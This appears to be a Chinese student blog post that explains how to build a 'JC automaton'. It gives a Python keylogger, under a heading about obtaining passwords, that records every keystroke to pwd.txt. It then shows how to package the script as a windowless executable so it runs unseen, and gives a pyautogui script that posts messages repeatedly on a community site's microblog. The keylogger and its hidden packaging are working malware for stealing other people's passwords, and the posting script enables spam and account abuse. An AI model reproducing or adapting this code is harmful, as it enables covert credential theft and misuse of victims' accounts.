跳到正文

科技·工程

【JC】JC自动机

maxflow约 3 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2026年1月28日
篇幅
约 3 分钟

版本

  1. v1当前

前言

看到同班巨佬的文章。

然而:C++ 虚拟键值表的代码又长又难看,作为 Python3 转 C++ 的蒟蒻,我只能说:

时代变了\Huge 时代变了

准备

使用 pip 安装 Python 第三方库 keyboard 和 pyautogui:

cmd
python -m pip install -U keyboard pyautogui -i https://pypi.tuna.tsinghua.edu.cn/simple
python -m pip install -U opencv-python==4.5.4.60 -i https://pypi.tuna.tsinghua.edu.cn/simple

获取密码

使用如下 Python 程序实现实时监听键盘:

Python
import keyboard

PATH = 'pwd.txt'    # 文件路径
open(PATH, 'w+', encoding='utf-8')  # 清空原文件

def callback(event):
    with open(PATH, 'a', encoding='utf-8') as f:
        print(event.name, file=f)

keyboard.on_press(callback)
keyboard.wait('esc')   # 按 Esc 退出监听

编译

下载 Python 打包工具:

cmd
python -m pip install pyinstaller -i https://pypi.tuna.tsinghua.edu.cn/simple
pyinstaller -F jc.py -w

在 ./dist/ 中有 jc.exe 文件,无窗口。

自动发犇

使用 pyautogui 控制鼠标。

Python
# 打开洛谷首页,划到发犇页面
from pyautogui import *

# 自动识别“发送犇犇”按钮位置
left, up, width, height = locateOnScreen('benben_press.jpg', confidence=0.8)
print(left, up, width, height)

n = int(input('输入犇犇发送条数:'))
content = input('输入犇犇内容:')
for _ in range(n):
    moveTo(left + 20, up - 80)
    click()
    typewrite(content, interval=0.05)  # 每个按键时间间隔为0.05s

    moveTo(left + 20, up + 10)
    click()

资源

Here

原文